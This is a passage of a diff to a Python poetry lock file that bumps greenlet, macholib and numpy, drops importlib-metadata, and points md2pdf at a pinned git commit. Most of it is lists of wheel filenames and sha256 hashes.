- {file = "greenlet-2.0.2-cp311-cp311-musllinux_1_1_aarch64.whl", hash = "sha256:eff4eb9b7eb3e4d0cae3d28c283dc16d9bed6b193c2e1ace3ed86ce48ea8df19"},
- {file = "greenlet-2.0.2-cp311-cp311-musllinux_1_1_x86_64.whl", hash = "sha256:5454276c07d27a740c5892f4907c86327b632127dd9abec42ee62e12427ff7e3"},
- {file = "greenlet-2.0.2-cp311-cp311-win_amd64.whl", hash = "sha256:7cafd1208fdbe93b67c7086876f061f660cfddc44f404279c1585bbf3cdc64c5"},
- {file = "greenlet-2.0.2-cp35-cp35m-macosx_10_14_x86_64.whl", hash = "sha256:910841381caba4f744a44bf81bfd573c94e10b3045ee00de0cbf436fe50673a6"},
- {file = "greenlet-2.0.2-cp35-cp35m-manylinux2010_x86_64.whl", hash = "sha256:18a7f18b82b52ee85322d7a7874e676f34ab319b9f8cce5de06067384aa8ff43"},
- {file = "greenlet-2.0.2-cp35-cp35m-win32.whl", hash = "sha256:03a8f4f3430c3b3ff8d10a2a86028c660355ab637cee9333d63d66b56f09d52a"},
- {file = "greenlet-2.0.2-cp35-cp35m-win_amd64.whl", hash = "sha256:4b58adb399c4d61d912c4c331984d60eb66565175cdf4a34792cd9600f21b394"},
- {file = "greenlet-2.0.2-cp36-cp36m-macosx_10_14_x86_64.whl", hash = "sha256:703f18f3fda276b9a916f0934d2fb6d989bf0b4fb5a64825260eb9bfd52d78f0"},
- {file = "greenlet-2.0.2-cp36-cp36m-manylinux2010_x86_64.whl", hash = "sha256:32e5b64b148966d9cccc2c8d35a671409e45f195864560829f395a54226408d3"},
- {file = "greenlet-2.0.2-cp36-cp36m-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:2dd11f291565a81d71dab10b7033395b7a3a5456e637cf997a6f33ebdf06f8db"},
- {file = "greenlet-2.0.2-cp36-cp36m-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:e0f72c9ddb8cd28532185f54cc1453f2c16fb417a08b53a855c4e6a418edd099"},
- {file = "greenlet-2.0.2-cp36-cp36m-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:cd021c754b162c0fb55ad5d6b9d960db667faad0fa2ff25bb6e1301b0b6e6a75"},
- {file = "greenlet-2.0.2-cp36-cp36m-musllinux_1_1_aarch64.whl", hash = "sha256:3c9b12575734155d0c09d6c3e10dbd81665d5c18e1a7c6597df72fd05990c8cf"},
- {file = "greenlet-2.0.2-cp36-cp36m-musllinux_1_1_x86_64.whl", hash = "sha256:b9ec052b06a0524f0e35bd8790686a1da006bd911dd1ef7d50b77bfbad74e292"},
- {file = "greenlet-2.0.2-cp36-cp36m-win32.whl", hash = "sha256:dbfcfc0218093a19c252ca8eb9aee3d29cfdcb586df21049b9d777fd32c14fd9"},
- {file = "greenlet-2.0.2-cp36-cp36m-win_amd64.whl", hash = "sha256:9f35ec95538f50292f6d8f2c9c9f8a3c6540bbfec21c9e5b4b751e0a7c20864f"},
- {file = "greenlet-2.0.2-cp37-cp37m-macosx_10_15_x86_64.whl", hash = "sha256:d5508f0b173e6aa47273bdc0a0b5ba055b59662ba7c7ee5119528f466585526b"},
- {file = "greenlet-2.0.2-cp37-cp37m-manylinux2010_x86_64.whl", hash = "sha256:f82d4d717d8ef19188687aa32b8363e96062911e63ba22a0cff7802a8e58e5f1"},
- {file = "greenlet-2.0.2-cp37-cp37m-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:c9c59a2120b55788e800d82dfa99b9e156ff8f2227f07c5e3012a45a399620b7"},
- {file = "greenlet-2.0.2-cp37-cp37m-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:2780572ec463d44c1d3ae850239508dbeb9fed38e294c68d19a24d925d9223ca"},
- {file = "greenlet-2.0.2-cp37-cp37m-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:937e9020b514ceedb9c830c55d5c9872abc90f4b5862f89c0887033ae33c6f73"},
- {file = "greenlet-2.0.2-cp37-cp37m-musllinux_1_1_aarch64.whl", hash = "sha256:36abbf031e1c0f79dd5d596bfaf8e921c41df2bdf54ee1eed921ce1f52999a86"},
- {file = "greenlet-2.0.2-cp37-cp37m-musllinux_1_1_x86_64.whl", hash = "sha256:18e98fb3de7dba1c0a852731c3070cf022d14f0d68b4c87a19cc1016f3bb8b33"},
- {file = "greenlet-2.0.2-cp37-cp37m-win32.whl", hash = "sha256:3f6ea9bd35eb450837a3d80e77b517ea5bc56b4647f5502cd28de13675ee12f7"},
- {file = "greenlet-2.0.2-cp37-cp37m-win_amd64.whl", hash = "sha256:7492e2b7bd7c9b9916388d9df23fa49d9b88ac0640db0a5b4ecc2b653bf451e3"},
- {file = "greenlet-2.0.2-cp38-cp38-macosx_10_15_x86_64.whl", hash = "sha256:b864ba53912b6c3ab6bcb2beb19f19edd01a6bfcbdfe1f37ddd1778abfe75a30"},
- {file = "greenlet-2.0.2-cp38-cp38-manylinux2010_x86_64.whl", hash = "sha256:ba2956617f1c42598a308a84c6cf021a90ff3862eddafd20c3333d50f0edb45b"},
- {file = "greenlet-2.0.2-cp38-cp38-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:fc3a569657468b6f3fb60587e48356fe512c1754ca05a564f11366ac9e306526"},
- {file = "greenlet-2.0.2-cp38-cp38-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:8eab883b3b2a38cc1e050819ef06a7e6344d4a990d24d45bc6f2cf959045a45b"},
- {file = "greenlet-2.0.2-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:acd2162a36d3de67ee896c43effcd5ee3de247eb00354db411feb025aa319857"},
- {file = "greenlet-2.0.2-cp38-cp38-musllinux_1_1_aarch64.whl", hash = "sha256:0bf60faf0bc2468089bdc5edd10555bab6e85152191df713e2ab1fcc86382b5a"},
- {file = "greenlet-2.0.2-cp38-cp38-musllinux_1_1_x86_64.whl", hash = "sha256:b0ef99cdbe2b682b9ccbb964743a6aca37905fda5e0452e5ee239b1654d37f2a"},
- {file = "greenlet-2.0.2-cp38-cp38-win32.whl", hash = "sha256:b80f600eddddce72320dbbc8e3784d16bd3fb7b517e82476d8da921f27d4b249"},
- {file = "greenlet-2.0.2-cp38-cp38-win_amd64.whl", hash = "sha256:4d2e11331fc0c02b6e84b0d28ece3a36e0548ee1a1ce9ddde03752d9b79bba40"},
- {file = "greenlet-2.0.2-cp39-cp39-macosx_11_0_x86_64.whl", hash = "sha256:88d9ab96491d38a5ab7c56dd7a3cc37d83336ecc564e4e8816dbed12e5aaefc8"},
- {file = "greenlet-2.0.2-cp39-cp39-manylinux2010_x86_64.whl", hash = "sha256:561091a7be172ab497a3527602d467e2b3fbe75f9e783d8b8ce403fa414f71a6"},
- {file = "greenlet-2.0.2-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:971ce5e14dc5e73715755d0ca2975ac88cfdaefcaab078a284fea6cfabf866df"},
- {file = "greenlet-2.0.2-cp39-cp39-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:be4ed120b52ae4d974aa40215fcdfde9194d63541c7ded40ee12eb4dda57b76b"},
- {file = "greenlet-2.0.2-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:94c817e84245513926588caf1152e3b559ff794d505555211ca041f032abbb6b"},
- {file = "greenlet-2.0.2-cp39-cp39-musllinux_1_1_aarch64.whl", hash = "sha256:1a819eef4b0e0b96bb0d98d797bef17dc1b4a10e8d7446be32d1da33e095dbb8"},
- {file = "greenlet-2.0.2-cp39-cp39-musllinux_1_1_x86_64.whl", hash = "sha256:7efde645ca1cc441d6dc4b48c0f7101e8d86b54c8530141b09fd31cef5149ec9"},
- {file = "greenlet-2.0.2-cp39-cp39-win32.whl", hash = "sha256:ea9872c80c132f4663822dd2a08d404073a5a9b5ba6155bea72fb2a79d1093b5"},
- {file = "greenlet-2.0.2-cp39-cp39-win_amd64.whl", hash = "sha256:db1a39669102a1d8d12b57de2bb7e2ec9066a6f2b3da35ae511ff93b01b5d564"},
- {file = "greenlet-2.0.2.tar.gz", hash = "sha256:e7c8dc13af7db097bed64a051d2dd49e9f0af495c26995c00a9ee842690d34c0"},
+python-versions = ">=3.7"
+files = [
+ {file = "greenlet-3.0.1-cp310-cp310-macosx_10_9_universal2.whl", hash = "sha256:f89e21afe925fcfa655965ca8ea10f24773a1791400989ff32f467badfe4a064"},
+ {file = "greenlet-3.0.1-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:28e89e232c7593d33cac35425b58950789962011cc274aa43ef8865f2e11f46d"},
+ {file = "greenlet-3.0.1-cp310-cp310-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:b8ba29306c5de7717b5761b9ea74f9c72b9e2b834e24aa984da99cbfc70157fd"},
+ {file = "greenlet-3.0.1-cp310-cp310-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:19bbdf1cce0346ef7341705d71e2ecf6f41a35c311137f29b8a2dc2341374565"},
+ {file = "greenlet-3.0.1-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:599daf06ea59bfedbec564b1692b0166a0045f32b6f0933b0dd4df59a854caf2"},
+ {file = "greenlet-3.0.1-cp310-cp310-manylinux_2_24_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:b641161c302efbb860ae6b081f406839a8b7d5573f20a455539823802c655f63"},
+ {file = "greenlet-3.0.1-cp310-cp310-musllinux_1_1_aarch64.whl", hash = "sha256:d57e20ba591727da0c230ab2c3f200ac9d6d333860d85348816e1dca4cc4792e"},
+ {file = "greenlet-3.0.1-cp310-cp310-musllinux_1_1_x86_64.whl", hash = "sha256:5805e71e5b570d490938d55552f5a9e10f477c19400c38bf1d5190d760691846"},
+ {file = "greenlet-3.0.1-cp310-cp310-win_amd64.whl", hash = "sha256:52e93b28db27ae7d208748f45d2db8a7b6a380e0d703f099c949d0f0d80b70e9"},
+ {file = "greenlet-3.0.1-cp311-cp311-macosx_10_9_universal2.whl", hash = "sha256:f7bfb769f7efa0eefcd039dd19d843a4fbfbac52f1878b1da2ed5793ec9b1a65"},
+ {file = "greenlet-3.0.1-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:91e6c7db42638dc45cf2e13c73be16bf83179f7859b07cfc139518941320be96"},
+ {file = "greenlet-3.0.1-cp311-cp311-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:1757936efea16e3f03db20efd0cd50a1c86b06734f9f7338a90c4ba85ec2ad5a"},
+ {file = "greenlet-3.0.1-cp311-cp311-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:19075157a10055759066854a973b3d1325d964d498a805bb68a1f9af4aaef8ec"},
+ {file = "greenlet-3.0.1-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:e9d21aaa84557d64209af04ff48e0ad5e28c5cca67ce43444e939579d085da72"},
+ {file = "greenlet-3.0.1-cp311-cp311-manylinux_2_24_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:2847e5d7beedb8d614186962c3d774d40d3374d580d2cbdab7f184580a39d234"},
+ {file = "greenlet-3.0.1-cp311-cp311-musllinux_1_1_aarch64.whl", hash = "sha256:97e7ac860d64e2dcba5c5944cfc8fa9ea185cd84061c623536154d5a89237884"},
+ {file = "greenlet-3.0.1-cp311-cp311-musllinux_1_1_x86_64.whl", hash = "sha256:b2c02d2ad98116e914d4f3155ffc905fd0c025d901ead3f6ed07385e19122c94"},
+ {file = "greenlet-3.0.1-cp311-cp311-win_amd64.whl", hash = "sha256:22f79120a24aeeae2b4471c711dcf4f8c736a2bb2fabad2a67ac9a55ea72523c"},
+ {file = "greenlet-3.0.1-cp312-cp312-macosx_10_9_universal2.whl", hash = "sha256:100f78a29707ca1525ea47388cec8a049405147719f47ebf3895e7509c6446aa"},
+ {file = "greenlet-3.0.1-cp312-cp312-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:60d5772e8195f4e9ebf74046a9121bbb90090f6550f81d8956a05387ba139353"},
+ {file = "greenlet-3.0.1-cp312-cp312-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:daa7197b43c707462f06d2c693ffdbb5991cbb8b80b5b984007de431493a319c"},
+ {file = "greenlet-3.0.1-cp312-cp312-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:ea6b8aa9e08eea388c5f7a276fabb1d4b6b9d6e4ceb12cc477c3d352001768a9"},
+ {file = "greenlet-3.0.1-cp312-cp312-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:8d11ebbd679e927593978aa44c10fc2092bc454b7d13fdc958d3e9d508aba7d0"},
+ {file = "greenlet-3.0.1-cp312-cp312-manylinux_2_24_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:dbd4c177afb8a8d9ba348d925b0b67246147af806f0b104af4d24f144d461cd5"},
+ {file = "greenlet-3.0.1-cp312-cp312-musllinux_1_1_aarch64.whl", hash = "sha256:20107edf7c2c3644c67c12205dc60b1bb11d26b2610b276f97d666110d1b511d"},
+ {file = "greenlet-3.0.1-cp312-cp312-musllinux_1_1_x86_64.whl", hash = "sha256:8bef097455dea90ffe855286926ae02d8faa335ed8e4067326257cb571fc1445"},
+ {file = "greenlet-3.0.1-cp312-cp312-win_amd64.whl", hash = "sha256:b2d3337dcfaa99698aa2377c81c9ca72fcd89c07e7eb62ece3f23a3fe89b2ce4"},
+ {file = "greenlet-3.0.1-cp37-cp37m-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:80ac992f25d10aaebe1ee15df45ca0d7571d0f70b645c08ec68733fb7a020206"},
+ {file = "greenlet-3.0.1-cp37-cp37m-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:337322096d92808f76ad26061a8f5fccb22b0809bea39212cd6c406f6a7060d2"},
+ {file = "greenlet-3.0.1-cp37-cp37m-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:b9934adbd0f6e476f0ecff3c94626529f344f57b38c9a541f87098710b18af0a"},
+ {file = "greenlet-3.0.1-cp37-cp37m-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:dc4d815b794fd8868c4d67602692c21bf5293a75e4b607bb92a11e821e2b859a"},
+ {file = "greenlet-3.0.1-cp37-cp37m-manylinux_2_24_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:41bdeeb552d814bcd7fb52172b304898a35818107cc8778b5101423c9017b3de"},
+ {file = "greenlet-3.0.1-cp37-cp37m-musllinux_1_1_aarch64.whl", hash = "sha256:6e6061bf1e9565c29002e3c601cf68569c450be7fc3f7336671af7ddb4657166"},
+ {file = "greenlet-3.0.1-cp37-cp37m-musllinux_1_1_x86_64.whl", hash = "sha256:fa24255ae3c0ab67e613556375a4341af04a084bd58764731972bcbc8baeba36"},
+ {file = "greenlet-3.0.1-cp37-cp37m-win32.whl", hash = "sha256:b489c36d1327868d207002391f662a1d163bdc8daf10ab2e5f6e41b9b96de3b1"},
+ {file = "greenlet-3.0.1-cp37-cp37m-win_amd64.whl", hash = "sha256:f33f3258aae89da191c6ebaa3bc517c6c4cbc9b9f689e5d8452f7aedbb913fa8"},
+ {file = "greenlet-3.0.1-cp38-cp38-macosx_11_0_universal2.whl", hash = "sha256:d2905ce1df400360463c772b55d8e2518d0e488a87cdea13dd2c71dcb2a1fa16"},
+ {file = "greenlet-3.0.1-cp38-cp38-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:0a02d259510b3630f330c86557331a3b0e0c79dac3d166e449a39363beaae174"},
+ {file = "greenlet-3.0.1-cp38-cp38-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:55d62807f1c5a1682075c62436702aaba941daa316e9161e4b6ccebbbf38bda3"},
+ {file = "greenlet-3.0.1-cp38-cp38-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:3fcc780ae8edbb1d050d920ab44790201f027d59fdbd21362340a85c79066a74"},
+ {file = "greenlet-3.0.1-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:4eddd98afc726f8aee1948858aed9e6feeb1758889dfd869072d4465973f6bfd"},
+ {file = "greenlet-3.0.1-cp38-cp38-manylinux_2_24_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:eabe7090db68c981fca689299c2d116400b553f4b713266b130cfc9e2aa9c5a9"},
+ {file = "greenlet-3.0.1-cp38-cp38-musllinux_1_1_aarch64.whl", hash = "sha256:f2f6d303f3dee132b322a14cd8765287b8f86cdc10d2cb6a6fae234ea488888e"},
+ {file = "greenlet-3.0.1-cp38-cp38-musllinux_1_1_x86_64.whl", hash = "sha256:d923ff276f1c1f9680d32832f8d6c040fe9306cbfb5d161b0911e9634be9ef0a"},
+ {file = "greenlet-3.0.1-cp38-cp38-win32.whl", hash = "sha256:0b6f9f8ca7093fd4433472fd99b5650f8a26dcd8ba410e14094c1e44cd3ceddd"},
+ {file = "greenlet-3.0.1-cp38-cp38-win_amd64.whl", hash = "sha256:990066bff27c4fcf3b69382b86f4c99b3652bab2a7e685d968cd4d0cfc6f67c6"},
+ {file = "greenlet-3.0.1-cp39-cp39-macosx_10_9_universal2.whl", hash = "sha256:ce85c43ae54845272f6f9cd8320d034d7a946e9773c693b27d620edec825e376"},
+ {file = "greenlet-3.0.1-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:89ee2e967bd7ff85d84a2de09df10e021c9b38c7d91dead95b406ed6350c6997"},
+ {file = "greenlet-3.0.1-cp39-cp39-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:87c8ceb0cf8a5a51b8008b643844b7f4a8264a2c13fcbcd8a8316161725383fe"},
+ {file = "greenlet-3.0.1-cp39-cp39-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:d6a8c9d4f8692917a3dc7eb25a6fb337bff86909febe2f793ec1928cd97bedfc"},
+ {file = "greenlet-3.0.1-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:9fbc5b8f3dfe24784cee8ce0be3da2d8a79e46a276593db6868382d9c50d97b1"},
+ {file = "greenlet-3.0.1-cp39-cp39-manylinux_2_24_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:85d2b77e7c9382f004b41d9c72c85537fac834fb141b0296942d52bf03fe4a3d"},
+ {file = "greenlet-3.0.1-cp39-cp39-musllinux_1_1_aarch64.whl", hash = "sha256:696d8e7d82398e810f2b3622b24e87906763b6ebfd90e361e88eb85b0e554dc8"},
+ {file = "greenlet-3.0.1-cp39-cp39-musllinux_1_1_x86_64.whl", hash = "sha256:329c5a2e5a0ee942f2992c5e3ff40be03e75f745f48847f118a3cfece7a28546"},
+ {file = "greenlet-3.0.1-cp39-cp39-win32.whl", hash = "sha256:cf868e08690cb89360eebc73ba4be7fb461cfbc6168dd88e2fbbe6f31812cd57"},
+ {file = "greenlet-3.0.1-cp39-cp39-win_amd64.whl", hash = "sha256:ac4a39d1abae48184d420aa8e5e63efd1b75c8444dd95daa3e03f6c6310e9619"},
+ {file = "greenlet-3.0.1.tar.gz", hash = "sha256:816bd9488a94cba78d93e1abb58000e8266fa9cc2aa9ccdd6eb0696acb24005b"},
]
[package.extras]
-docs = ["Sphinx", "docutils (<0.18)"]
+docs = ["Sphinx"]
test = ["objgraph", "psutil"]
[[package]]
@@ -1029,25 +1042,6 @@ files = [
{file = "idna-3.4.tar.gz", hash = "sha256:814f528e8dead7d329833b91c5faa87d60bf71824cd12a7530b5526063d02cb4"},
]
-[[package]]
-name = "importlib-metadata"
-version = "6.8.0"
-description = "Read metadata from Python packages"
-optional = false
-python-versions = ">=3.8"
-files = [
- {file = "importlib_metadata-6.8.0-py3-none-any.whl", hash = "sha256:3ebb78df84a805d7698245025b975d9d67053cd94c79245ba4b3eb694abe68bb"},
- {file = "importlib_metadata-6.8.0.tar.gz", hash = "sha256:dbace7892d8c0c4ac1ad096662232f831d4e64f4c4545bd53016a3e9d4654743"},
-]
-
-[package.dependencies]
-zipp = ">=0.5"
-
-[package.extras]
-docs = ["furo", "jaraco.packaging (>=9)", "jaraco.tidelift (>=1.4)", "rst.linker (>=1.9)", "sphinx (>=3.5)", "sphinx-lint"]
-perf = ["ipython"]
-testing = ["flufl.flake8", "importlib-resources (>=1.3)", "packaging", "pyfakefs", "pytest (>=6)", "pytest-black (>=0.3.7)", "pytest-checkdocs (>=2.4)", "pytest-cov", "pytest-enabler (>=2.2)", "pytest-mypy (>=0.9.1)", "pytest-perf (>=0.9.2)", "pytest-ruff"]
-
[[package]]
name = "incremental"
version = "22.10.0"
@@ -1201,13 +1195,13 @@ files = [
[[package]]
name = "macholib"
-version = "1.16.2"
+version = "1.16.3"
description = "Mach-O header analysis and editing"
optional = false
python-versions = "*"
files = [
- {file = "macholib-1.16.2-py2.py3-none-any.whl", hash = "sha256:44c40f2cd7d6726af8fa6fe22549178d3a4dfecc35a9cd15ea916d9c83a688e0"},
- {file = "macholib-1.16.2.tar.gz", hash = "sha256:557bbfa1bb255c20e9abafe7ed6cd8046b48d9525db2f9b77d3122a63a2a8bf8"},
+ {file = "macholib-1.16.3-py2.py3-none-any.whl", hash = "sha256:0e315d7583d38b8c77e815b1ecbdbf504a8258d8b3e17b61165c6feb60d18f2c"},
+ {file = "macholib-1.16.3.tar.gz", hash = "sha256:07ae9e15e8e4cd9a788013d81f5908b3609aa76f9b1421bae9c4d7606ec86a30"},
]
[package.dependencies]
@@ -1294,15 +1288,20 @@ version = "1.0.1"
description = "md2pdf, a Markdown to PDF conversion tool"
optional = false
python-versions = "*"
-files = [
- {file = "md2pdf-1.0.1.tar.gz", hash = "sha256:3d5aab77dcd5b6f5827b193819ab1a8c1cec506ce5f6c777c3411b703352cd98"},
-]
+files = []
+develop = false
[package.dependencies]
-docopt = "*"
+docopt-ng = "*"
markdown2 = "*"
WeasyPrint = "*"
+[package.source]
+type = "git"
+url = "https://github.com/bc-security/md2pdf"
+reference = "48d5a46"
+resolved_reference = "48d5a460f3323d7ad245290c7d28016333a4c5f1"
+
[[package]]
name = "mypy-extensions"
version = "1.0.0"
@@ -1355,50 +1354,54 @@ files = [
[[package]]
name = "numpy"
-version = "1.24.4"
+version = "1.26.1"
description = "Fundamental package for array computing in Python"
optional = false
-python-versions = ">=3.8"
-files = [
- {file = "numpy-1.24.4-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:c0bfb52d2169d58c1cdb8cc1f16989101639b34c7d3ce60ed70b19c63eba0b64"},
- {file = "numpy-1.24.4-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:ed094d4f0c177b1b8e7aa9cba7d6ceed51c0e569a5318ac0ca9a090680a6a1b1"},
- {file = "numpy-1.24.4-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:79fc682a374c4a8ed08b331bef9c5f582585d1048fa6d80bc6c35bc384eee9b4"},
- {file = "numpy-1.24.4-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:7ffe43c74893dbf38c2b0a1f5428760a1a9c98285553c89e12d70a96a7f3a4d6"},
- {file = "numpy-1.24.4-cp310-cp310-win32.whl", hash = "sha256:4c21decb6ea94057331e111a5bed9a79d335658c27ce2adb580fb4d54f2ad9bc"},
- {file = "numpy-1.24.4-cp310-cp310-win_amd64.whl", hash = "sha256:b4bea75e47d9586d31e892a7401f76e909712a0fd510f58f5337bea9572c571e"},
- {file = "numpy-1.24.4-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:f136bab9c2cfd8da131132c2cf6cc27331dd6fae65f95f69dcd4ae3c3639c810"},
- {file = "numpy-1.24.4-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:e2926dac25b313635e4d6cf4dc4e51c8c0ebfed60b801c799ffc4c32bf3d1254"},
- {file = "numpy-1.24.4-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:222e40d0e2548690405b0b3c7b21d1169117391c2e82c378467ef9ab4c8f0da7"},
- {file = "numpy-1.24.4-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:7215847ce88a85ce39baf9e89070cb860c98fdddacbaa6c0da3ffb31b3350bd5"},
- {file = "numpy-1.24.4-cp311-cp311-win32.whl", hash = "sha256:4979217d7de511a8d57f4b4b5b2b965f707768440c17cb70fbf254c4b225238d"},
- {file = "numpy-1.24.4-cp311-cp311-win_amd64.whl", hash = "sha256:b7b1fc9864d7d39e28f41d089bfd6353cb5f27ecd9905348c24187a768c79694"},
- {file = "numpy-1.24.4-cp38-cp38-macosx_10_9_x86_64.whl", hash = "sha256:1452241c290f3e2a312c137a9999cdbf63f78864d63c79039bda65ee86943f61"},
- {file = "numpy-1.24.4-cp38-cp38-macosx_11_0_arm64.whl", hash = "sha256:04640dab83f7c6c85abf9cd729c5b65f1ebd0ccf9de90b270cd61935eef0197f"},
- {file = "numpy-1.24.4-cp38-cp38-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:a5425b114831d1e77e4b5d812b69d11d962e104095a5b9c3b641a218abcc050e"},
- {file = "numpy-1.24.4-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:dd80e219fd4c71fc3699fc1dadac5dcf4fd882bfc6f7ec53d30fa197b8ee22dc"},
- {file = "numpy-1.24.4-cp38-cp38-win32.whl", hash = "sha256:4602244f345453db537be5314d3983dbf5834a9701b7723ec28923e2889e0bb2"},
- {file = "numpy-1.24.4-cp38-cp38-win_amd64.whl", hash = "sha256:692f2e0f55794943c5bfff12b3f56f99af76f902fc47487bdfe97856de51a706"},
- {file = "numpy-1.24.4-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:2541312fbf09977f3b3ad449c4e5f4bb55d0dbf79226d7724211acc905049400"},
- {file = "numpy-1.24.4-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:9667575fb6d13c95f1b36aca12c5ee3356bf001b714fc354eb5465ce1609e62f"},
- {file = "numpy-1.24.4-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:f3a86ed21e4f87050382c7bc96571755193c4c1392490744ac73d660e8f564a9"},
- {file = "numpy-1.24.4-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:d11efb4dbecbdf22508d55e48d9c8384db795e1b7b51ea735289ff96613ff74d"},
- {file = "numpy-1.24.4-cp39-cp39-win32.whl", hash = "sha256:6620c0acd41dbcb368610bb2f4d83145674040025e5536954782467100aa8835"},
- {file = "numpy-1.24.4-cp39-cp39-win_amd64.whl", hash = "sha256:befe2bf740fd8373cf56149a5c23a0f601e82869598d41f8e188a0e9869926f8"},
- {file = "numpy-1.24.4-pp38-pypy38_pp73-macosx_10_9_x86_64.whl", hash = "sha256:31f13e25b4e304632a4619d0e0777662c2ffea99fcae2029556b17d8ff958aef"},
- {file = "numpy-1.24.4-pp38-pypy38_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:95f7ac6540e95bc440ad77f56e520da5bf877f87dca58bd095288dce8940532a"},
- {file = "numpy-1.24.4-pp38-pypy38_pp73-win_amd64.whl", hash = "sha256:e98f220aa76ca2a977fe435f5b04d7b3470c0a2e6312907b37ba6068f26787f2"},
- {file = "numpy-1.24.4.tar.gz", hash = "sha256:80f5e3a4e498641401868df4208b74581206afbee7cf7b8329daae82676d9463"},
+python-versions = "<3.13,>=3.9"
+files = [
+ {file = "numpy-1.26.1-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:82e871307a6331b5f09efda3c22e03c095d957f04bf6bc1804f30048d0e5e7af"},
+ {file = "numpy-1.26.1-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:cdd9ec98f0063d93baeb01aad472a1a0840dee302842a2746a7a8e92968f9575"},
+ {file = "numpy-1.26.1-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:d78f269e0c4fd365fc2992c00353e4530d274ba68f15e968d8bc3c69ce5f5244"},
+ {file = "numpy-1.26.1-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:8ab9163ca8aeb7fd32fe93866490654d2f7dda4e61bc6297bf72ce07fdc02f67"},
+ {file = "numpy-1.26.1-cp310-cp310-musllinux_1_1_x86_64.whl", hash = "sha256:78ca54b2f9daffa5f323f34cdf21e1d9779a54073f0018a3094ab907938331a2"},
+ {file = "numpy-1.26.1-cp310-cp310-win32.whl", hash = "sha256:d1cfc92db6af1fd37a7bb58e55c8383b4aa1ba23d012bdbba26b4bcca45ac297"},
+ {file = "numpy-1.26.1-cp310-cp310-win_amd64.whl", hash = "sha256:d2984cb6caaf05294b8466966627e80bf6c7afd273279077679cb010acb0e5ab"},
+ {file = "numpy-1.26.1-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:cd7837b2b734ca72959a1caf3309457a318c934abef7a43a14bb984e574bbb9a"},
+ {file = "numpy-1.26.1-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:1c59c046c31a43310ad0199d6299e59f57a289e22f0f36951ced1c9eac3665b9"},
